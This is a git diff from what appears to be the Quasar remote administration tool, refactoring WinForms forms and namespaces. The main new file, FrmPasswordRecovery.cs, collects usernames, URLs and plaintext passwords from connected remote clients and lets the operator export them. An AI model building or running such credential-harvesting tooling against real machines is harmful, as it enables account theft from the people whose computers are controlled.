- lFCjcRJqF9NB0N0Hl01IFpYFz5QcFkXK3PmGhEh2bVxYWBMbzlTtDl/TZUDTVYqbBhHiS6iRfRIqhtnB
- VKtgyGfvgXdKBt9PHfqVXKdZnVHLLpdNcjnHfl0vRLyUGiTwTvacGmg8IR3RHJ0ZVB+xW1Xcv931mZXR
- IBvSsn2/dDtiJdSO1XNQ/wBgH9SZbXHbWQAAAABJRU5ErkJggg==
-
-
-
-
- iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
- dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAANgSURBVDhPXZLfT1pnHMZJut212X/hdZelFy5aInZU
- UWadS53N/DmBKBwNkqK4jHZHFqkOK6arq91cq0WLiqgFu7agQrGUKQcYICgKre02pXM0XdVmXfrsPeei
- aXfxSZ588z6f9+bhAXiLJk9tLmGMkCI8J7wgbBNmKHdNwf/fv1l8h3CNLdx5aMJy+jbmHizCtraIqZgT
- E7ERNMxVvpTePjVbN1t+8C0BKb1L8AzFv8XWrh9rOxGEdxhYUwHYkysYikRwNchgLOiB0deJSmtZqGKs
- 5L03BaYrsU4kny1g5ZkX0UwUge0gRhJRjCfX0etPoPt+DD0uH6xRJ4zedpQNi2Y5ASnnEP7Z/HsBtowd
- E0/tuLnjws1HEfwQX8V34TVQdj+oG17oluwYSF2A/w8rxJeF/xZeFJSwAos9+T2Wn9gxmpmG+S8ffOkQ
- DIEoupdWIbX5IXM4oFwZgCpJQ7nejuGgEdfu65F/PvcWK9j89c8bGNq8DEP6R/J7BN50EE23ApBOL+O0
- bwmyhBriVSnEMQkqwwpo76jgTphwVJ/9OyvYXX86h47416ASrRj4bR6jqWVUXv8FCqcb3Ws/oyY+An6o
- FcJgI044KqAY/wLM4xlk00f2eNTdmr2NzBy+CqmgCPVi8IEDVaNeVE2FUXbpHpoc99AesoLy2FBttqLc
- /CVkw6fAPJrGEe37+7zG+arHge0p9EY60LU+jzOLTlTrfwKt78bg4CDUZ79B8VkLjtNTJOu4m66zA/0j
- enzQenibR4YxY431wZa8gua7NOrPqWE0GrG1tYWNjQ24XC6067rQfKYL0Vicu3k8ZA/kjaAqb5NXazsp
- JMN4GU7bUWP8DKpWFZhwGBVUG4qKxZBIJOjr64NGo+FyUXER1NomTtKiatnlhlR+/eNpw4IalLYWtI7m
- BA0mF/KOCeF0OsEwDNxuNywWC/I/EkBjknICmqb3OcEnVwsPkWGEarWfgmqWc4JqqgWC/GMQCoUoLS3l
- YLMgXwDR54W7rEAmk2U4AcvxC3mHcjXZ7qKTolc9xh6YJ8YxOTmJ/v5+KJVKtLW1cZm9mcfMGYPBkBGL
- xbHXApasrKwDObIPWwpKCvbqJHWvGuQNaJQ3Ik/BzxxtzmFI3pfL5fv19fXPRSJRis/nH/4PwNyzn39M
- adAAAAAASUVORK5CYII=
-
-
-
+
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
- dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZPtT1JRHMf9W/RP6N7etDZ90VybDZK0
- F5k1TBO1la7CbLBKMRGfAAVsCIaaD5RPUJIiJHAlI+QhNPXmwAza2uoNZC3LbwdaqNXaWi8+d/ece77f
- 3/ne3zkZAP6L3ybyNStZx1QhUZ4iyB5p8cZzZJ54tmyBzZa5RYdvM1m/rt834KiXeUflgVhFrx+99ghG
- mc0UemsYfPVT0KLZGC228vZq0i+kKi+31ZdomVyFxRtDz3QEEuNL3Bpehty0CqNjA42jIdCVEwn64kTa
- JPXIUwYzc9sWo0mx6VkMIiK6NhDAkOs1hpwbuGrwQ9gfgGF2HZL7ftBlxihdOpyZNsiVL4rLtV6YPW9R
- NxCCkES4rPPh4+ftFNU6D6p7PBDe9WLgSRinmh+DKuoXpw1y2jys3hqB0sTiSq8PNTovqrUe9NnXYSBU
- djM/0LhIrADU0yugC3Vs2uCQhNkaX3iDuj4/qfQcVXfcZDFDPgE7BIHKifLOOYIDFzROGJkwKF7XVlKb
- MqDF9q0x92Yqa7JShdpFRC6EIh+Q+LSNsg47StttOEcQKGwYmScGXMVeAyurtbKQPlhClcYNQZcT55Vz
- eBF+Twy+oEQ2gxKSm99sQW0PA6UlCPp4x24EutYiLpbbMeSIoErFQCB3wOLZwNdvO6kI/lfvUCwxE0zo
- fhhC4fVRYtC++xPpS2OZtMAYvTnig8G6hjK5DfyWaZyRTqG4wYTT9RMoqh9H64iXtHeebF8apbnS3TYm
- ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs
- ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA
- AABJRU5ErkJggg==
+ dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF
+ EQRd6MaVK0XEJmkEwbZaqUWoJkaNjhov41SjRqPjLY63pin1QnXfxdvzDbQkMF2ULt7N8LzPme+cPQD/
+ FcWPzWbzTa1W+8nzPAqFAjiOQzKZRCwWQyQS+XCffVBst9uPGo1GRJIk3N5+gzRdQJJmGLOMp9hsfiAU
+ ChGqIGi1Ws/q9frX2WyG1WqF2mULFaGOMn+JYrmKYvEzhiMJfr+fcAUBlbFcLuUsFl/AU/n42Iujo9c4
+ ODiEx/MK/cEYXq+XcAWBIAjYbrdUXmAymaDEppaquCgKyF9UwOXK6PVvSOQhXEHAlrXZbDCfz+ndExTo
+ l9lUt9sNl8sFh8MBsTeC0+kkXEHANs0EbAej0Q1NFZDN8+CyZaS5Is7TBXS7A9jtdsIVBIlEQhZMp1MM
+ hyP5lzNcCelMEe+rb/Hy4wtck8BmsxGuIIhGo1iv1/L7e73Bn6nJ8zyevHuM/cN9tK/7sFgshCsIwuGw
+ fD4m6Io9pFg5lcdZMof4GYeTOIdWW4TJZCJcQRAIBLDb7eQldjoiEkkqJ7I4ZeXTDKInaVy1RBgMBsIV
+ BD6frxaPxyGKIi1ygRydLp7IIUbFTyzRFJpXXeh0OsIVBCx0sud0rkYwGARfEegpI3kqK7Lc3X2HRqMh
+ 9C+C36FNP7VarR2z2Qyj0Qi9Xg+tVgu1Wg2VSjW4zz4o/nuw9wtdEBK3EWw5nwAAAABJRU5ErkJggg==
@@ -405,7 +347,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY
- sQAAAk1TRnQBSQFMAgEB+AEAAYABCAGAAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ sQAAAk1TRnQBSQFMAgEB+AEAAfgBCAH4AQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA
AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC
AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/
diff --git a/Server/Forms/FrmPasswordRecovery.Designer.cs b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs
similarity index 96%
rename from Server/Forms/FrmPasswordRecovery.Designer.cs
rename to Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs
index c8881ecdf..c9adb1376 100644
--- a/Server/Forms/FrmPasswordRecovery.Designer.cs
+++ b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs
@@ -1,4 +1,6 @@
-namespace xServer.Forms
+using Quasar.Server.Controls;
+
+namespace Quasar.Server.Forms
{
partial class FrmPasswordRecovery
{
@@ -46,7 +48,7 @@ private void InitializeComponent()
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.lblInfo = new System.Windows.Forms.Label();
this.txtFormat = new System.Windows.Forms.TextBox();
- this.lstPasswords = new xServer.Controls.AeroListView();
+ this.lstPasswords = new AeroListView();
this.hIdentification = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hURL = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hUser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -72,7 +74,7 @@ private void InitializeComponent()
this.saveToFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.saveAllToolStripMenuItem,
this.saveSelectedToolStripMenuItem});
- this.saveToFileToolStripMenuItem.Image = global::xServer.Properties.Resources.save;
+ this.saveToFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.save;
this.saveToFileToolStripMenuItem.Name = "saveToFileToolStripMenuItem";
this.saveToFileToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
this.saveToFileToolStripMenuItem.Text = "Save to File";
@@ -96,7 +98,7 @@ private void InitializeComponent()
this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.copyAllToolStripMenuItem,
this.copySelectedToolStripMenuItem});
- this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy;
+ this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy;
this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem";
this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard";
@@ -125,7 +127,7 @@ private void InitializeComponent()
this.clearToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.clearAllToolStripMenuItem,
this.clearSelectedToolStripMenuItem});
- this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.delete;
+ this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete;
this.clearToolStripMenuItem.Name = "clearToolStripMenuItem";
this.clearToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
this.clearToolStripMenuItem.Text = "Clear";
@@ -146,7 +148,7 @@ private void InitializeComponent()
//
// refreshToolStripMenuItem
//
- this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh;
+ this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh;
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
this.refreshToolStripMenuItem.Text = "Refresh";
@@ -243,8 +245,8 @@ private void InitializeComponent()
//
// FrmPasswordRecovery
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(573, 445);
this.Controls.Add(this.groupBox2);
this.Controls.Add(this.groupBox1);
diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs
new file mode 100644
index 000000000..cdb78bde3
--- /dev/null
+++ b/Quasar.Server/Forms/FrmPasswordRecovery.cs
@@ -0,0 +1,284 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Windows.Forms;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Models;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmPasswordRecovery : Form
+ {
+ ///
+ /// The clients which can be used for the password recovery.
+ ///
+ private readonly Client[] _clients;
+
+ ///
+ /// The message handler for handling the communication with the clients.
+ ///
+ private readonly PasswordRecoveryHandler _recoveryHandler;
+
+ ///
+ /// Represents a value to display in the ListView when no results were found.
+ ///
+ private readonly RecoveredAccount _noResultsFound = new RecoveredAccount()
+ {
+ Application = "No Results Found",
+ Url = "N/A",
+ Username = "N/A",
+ Password = "N/A"
+ };
+
+ ///
+ /// Initializes a new instance of the class using the given clients.
+ ///
+ /// The clients used for the password recovery form.
+ public FrmPasswordRecovery(Client[] clients)
+ {
+ _clients = clients;
+ _recoveryHandler = new PasswordRecoveryHandler(clients);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the password recovery message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ //_connectClient.ClientState += ClientDisconnected;
+ _recoveryHandler.AccountsRecovered += AddPasswords;
+ MessageHandler.Register(_recoveryHandler);
+ }
+
+ ///
+ /// Unregisters the password recovery message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_recoveryHandler);
+ _recoveryHandler.AccountsRecovered -= AddPasswords;
+ //_connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ /// TODO: Handle disconnected clients
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ private void FrmPasswordRecovery_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length);
+ txtFormat.Text = Settings.SaveFormat;
+ RecoverPasswords();
+ }
+
+ private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ Settings.SaveFormat = txtFormat.Text;
+ UnregisterMessageHandler();
+ }
+
+ private void RecoverPasswords()
+ {
+ clearAllToolStripMenuItem_Click(null, null);
+ _recoveryHandler.BeginAccountRecovery();
+ }
+
+ private void AddPasswords(object sender, string clientIdentifier, List accounts)
+ {
+ try
+ {
+ if (accounts == null || accounts.Count == 0) // no accounts found
+ {
+ var lvi = new ListViewItem { Tag = _noResultsFound, Text = clientIdentifier };
+
+ lvi.SubItems.Add(_noResultsFound.Url); // URL
+ lvi.SubItems.Add(_noResultsFound.Username); // User
+ lvi.SubItems.Add(_noResultsFound.Password); // Pass
+
+ var lvg = GetGroupFromApplication(_noResultsFound.Application);
+
+ if (lvg == null) // create new group
+ {
+ lvg = new ListViewGroup
+ { Name = _noResultsFound.Application, Header = _noResultsFound.Application };
+ lstPasswords.Groups.Add(lvg); // add the new group
+ }
+
+ lvi.Group = lvg;
+ lstPasswords.Items.Add(lvi);
+ return;
+ }
+
+ var items = new List();
+ foreach (var acc in accounts)
+ {
+ var lvi = new ListViewItem {Tag = acc, Text = clientIdentifier};
+
+ lvi.SubItems.Add(acc.Url); // URL
+ lvi.SubItems.Add(acc.Username); // User
+ lvi.SubItems.Add(acc.Password); // Pass
+
+ var lvg = GetGroupFromApplication(acc.Application);
+
+ if (lvg == null) // create new group
+ {
+ lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application };
+ lstPasswords.Groups.Add(lvg); // add the new group
+ }
+
+ lvi.Group = lvg;
+ items.Add(lvi);
+ }
+
+ lstPasswords.Items.AddRange(items.ToArray());
+ UpdateRecoveryCount();
+ }
+ catch
+ {
+ }
+ }
+
+ private void UpdateRecoveryCount()
+ {
+ groupBox1.Text = $"Recovered Accounts [ {lstPasswords.Items.Count} ]";
+ }
+
+ private string ConvertToFormat(string format, RecoveredAccount login)
+ {
+ return format
+ .Replace("APP", login.Application)
+ .Replace("URL", login.Url)
+ .Replace("USER", login.Username)
+ .Replace("PASS", login.Password);
+ }
+
+ private StringBuilder GetLoginData(bool selected = false)
+ {
+ StringBuilder sb = new StringBuilder();
+ string format = txtFormat.Text;
+
+ if (selected)
+ {
+ foreach (ListViewItem lvi in lstPasswords.SelectedItems)
+ {
+ sb.Append(ConvertToFormat(format, (RecoveredAccount)lvi.Tag) + "\n");
+ }
+ }
+ else
+ {
+ foreach (ListViewItem lvi in lstPasswords.Items)
+ {
+ sb.Append(ConvertToFormat(format, (RecoveredAccount)lvi.Tag) + "\n");
+ }
+ }
+
+ return sb;
+ }
+
+ #region Group Methods
+ private ListViewGroup GetGroupFromApplication(string app)
+ {
+ ListViewGroup lvg = null;
+ foreach (var @group in lstPasswords.Groups.Cast().Where(@group => @group.Header == app))
+ {
+ lvg = @group;
+ }
+ return lvg;
+ }
+
+ #endregion
+
+ #region Menu
+
+ #region Saving
+
+ #region File Saving
+ private void saveAllToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ StringBuilder sb = GetLoginData();
+ using (var sfdPasswords = new SaveFileDialog())
+ {
+ if (sfdPasswords.ShowDialog() == DialogResult.OK)
+ {
+ File.WriteAllText(sfdPasswords.FileName, sb.ToString());
+ }
+ }
+ }
+
+ private void saveSelectedToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ StringBuilder sb = GetLoginData(true);
+ using (var sfdPasswords = new SaveFileDialog())
+ {
+ if (sfdPasswords.ShowDialog() == DialogResult.OK)
+ {
+ File.WriteAllText(sfdPasswords.FileName, sb.ToString());
+ }
+ }
+ }
+ #endregion
+ #region Clipboard Copying
+ private void copyAllToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ StringBuilder sb = GetLoginData();
+
+ ClipboardHelper.SetClipboardTextSafe(sb.ToString());
+ }
+
+ private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ StringBuilder sb = GetLoginData(true);
+
+ ClipboardHelper.SetClipboardTextSafe(sb.ToString());
+ }
+ #endregion
+
+ #endregion
+
+ #region Misc
+
+ private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ RecoverPasswords();
+ }
+
+ private void clearAllToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ lstPasswords.Items.Clear();
+ lstPasswords.Groups.Clear();
+
+ UpdateRecoveryCount();
+ }
+
+ private void clearSelectedToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ for (int i = 0; i < lstPasswords.SelectedItems.Count; i++)
+ {
+ lstPasswords.Items.Remove(lstPasswords.SelectedItems[i]);
+ }
+ }
+
+ #endregion
+
+ #endregion
+ }
+}
diff --git a/Server/Forms/FrmReverseProxy.resx b/Quasar.Server/Forms/FrmPasswordRecovery.resx
similarity index 100%
rename from Server/Forms/FrmReverseProxy.resx
rename to Quasar.Server/Forms/FrmPasswordRecovery.resx
diff --git a/Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs
similarity index 77%
rename from Server/Forms/FrmRegValueEditBinary.Designer.cs
rename to Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs
index 98c5dcd3b..ce14d4323 100644
--- a/Server/Forms/FrmRegValueEditBinary.Designer.cs
+++ b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs
@@ -1,4 +1,6 @@
-namespace xServer.Forms
+using Quasar.Server.Controls.HexEditor;
+
+namespace Quasar.Server.Forms
{
partial class FrmRegValueEditBinary
{
@@ -31,11 +33,9 @@ private void InitializeComponent()
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
- this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
- this.hexEditor = new xServer.Controls.HexEditor.HexEditor();
- this.flowLayoutPanel1.SuspendLayout();
+ this.hexEditor = new HexEditor();
this.SuspendLayout();
//
// valueNameTxtBox
@@ -45,7 +45,7 @@ private void InitializeComponent()
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20);
- this.valueNameTxtBox.TabIndex = 5;
+ this.valueNameTxtBox.TabIndex = 3;
//
// label1
//
@@ -56,7 +56,6 @@ private void InitializeComponent()
this.label1.Location = new System.Drawing.Point(9, 15);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
- this.label1.TabIndex = 4;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
@@ -69,42 +68,27 @@ private void InitializeComponent()
this.label2.Location = new System.Drawing.Point(9, 54);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
- this.label2.TabIndex = 6;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
- // flowLayoutPanel1
- //
- this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.flowLayoutPanel1.Controls.Add(this.cancelButton);
- this.flowLayoutPanel1.Controls.Add(this.okButton);
- this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 270);
- this.flowLayoutPanel1.Name = "flowLayoutPanel1";
- this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes;
- this.flowLayoutPanel1.Size = new System.Drawing.Size(341, 29);
- this.flowLayoutPanel1.TabIndex = 8;
- //
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
- this.cancelButton.Location = new System.Drawing.Point(263, 3);
+ this.cancelButton.Location = new System.Drawing.Point(278, 273);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
- this.cancelButton.TabIndex = 4;
+ this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
- this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click);
//
// okButton
//
- this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
- this.okButton.Location = new System.Drawing.Point(182, 3);
+ this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
+ this.okButton.Location = new System.Drawing.Point(197, 273);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
- this.okButton.TabIndex = 5;
+ this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
@@ -120,18 +104,19 @@ private void InitializeComponent()
this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3);
this.hexEditor.Name = "hexEditor";
this.hexEditor.Size = new System.Drawing.Size(341, 196);
- this.hexEditor.TabIndex = 6;
+ this.hexEditor.TabIndex = 0;
this.hexEditor.VScrollBarVisisble = true;
//
// FrmRegValueEditBinary
//
this.AcceptButton = this.okButton;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(365, 304);
+ this.Controls.Add(this.cancelButton);
this.Controls.Add(this.hexEditor);
- this.Controls.Add(this.flowLayoutPanel1);
+ this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
@@ -141,8 +126,6 @@ private void InitializeComponent()
this.Name = "FrmRegValueEditBinary";
this.ShowIcon = false;
this.Text = "Edit Binary";
- this.Load += new System.EventHandler(this.FrmRegValueEditBinary_Load);
- this.flowLayoutPanel1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -153,7 +136,6 @@ private void InitializeComponent()
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
- private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private Controls.HexEditor.HexEditor hexEditor;
diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs
new file mode 100644
index 000000000..72af620b7
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRegValueEditBinary.cs
@@ -0,0 +1,50 @@
+using System;
+using System.Windows.Forms;
+using Quasar.Common.Models;
+using Quasar.Server.Registry;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRegValueEditBinary : Form
+ {
+ private readonly RegValueData _value;
+
+ private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly.";
+
+ public FrmRegValueEditBinary(RegValueData value)
+ {
+ _value = value;
+
+ InitializeComponent();
+
+ this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
+ hexEditor.HexTable = value.Data;
+ }
+
+ private void okButton_Click(object sender, EventArgs e)
+ {
+ byte[] bytes = hexEditor.HexTable;
+ if (bytes != null)
+ {
+ try
+ {
+ _value.Data = bytes;
+ this.DialogResult = DialogResult.OK;
+ this.Tag = _value;
+ }
+ catch
+ {
+ ShowWarning(INVALID_BINARY_ERROR, "Warning");
+ this.DialogResult = DialogResult.None;
+ }
+ }
+
+ this.Close();
+ }
+
+ private void ShowWarning(string msg, string caption)
+ {
+ MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ }
+ }
+}
diff --git a/Server/Forms/FrmRegValueEditMultiString.resx b/Quasar.Server/Forms/FrmRegValueEditBinary.resx
similarity index 100%
rename from Server/Forms/FrmRegValueEditMultiString.resx
rename to Quasar.Server/Forms/FrmRegValueEditBinary.resx
diff --git a/Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs
similarity index 77%
rename from Server/Forms/FrmRegValueEditMultiString.Designer.cs
rename to Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs
index b84faab61..0f3816802 100644
--- a/Server/Forms/FrmRegValueEditMultiString.Designer.cs
+++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmRegValueEditMultiString
{
@@ -31,11 +31,9 @@ private void InitializeComponent()
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
- this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.valueDataTxtBox = new System.Windows.Forms.TextBox();
- this.flowLayoutPanel1.SuspendLayout();
this.SuspendLayout();
//
// valueNameTxtBox
@@ -47,7 +45,7 @@ private void InitializeComponent()
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20);
- this.valueNameTxtBox.TabIndex = 5;
+ this.valueNameTxtBox.TabIndex = 3;
//
// label1
//
@@ -58,7 +56,6 @@ private void InitializeComponent()
this.label1.Location = new System.Drawing.Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
- this.label1.TabIndex = 4;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
@@ -71,41 +68,27 @@ private void InitializeComponent()
this.label2.Location = new System.Drawing.Point(12, 53);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
- this.label2.TabIndex = 6;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
- // flowLayoutPanel1
- //
- this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.flowLayoutPanel1.Controls.Add(this.cancelButton);
- this.flowLayoutPanel1.Controls.Add(this.okButton);
- this.flowLayoutPanel1.Location = new System.Drawing.Point(24, 327);
- this.flowLayoutPanel1.Name = "flowLayoutPanel1";
- this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes;
- this.flowLayoutPanel1.Size = new System.Drawing.Size(337, 29);
- this.flowLayoutPanel1.TabIndex = 8;
- //
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
- this.cancelButton.Location = new System.Drawing.Point(259, 3);
+ this.cancelButton.Location = new System.Drawing.Point(286, 330);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
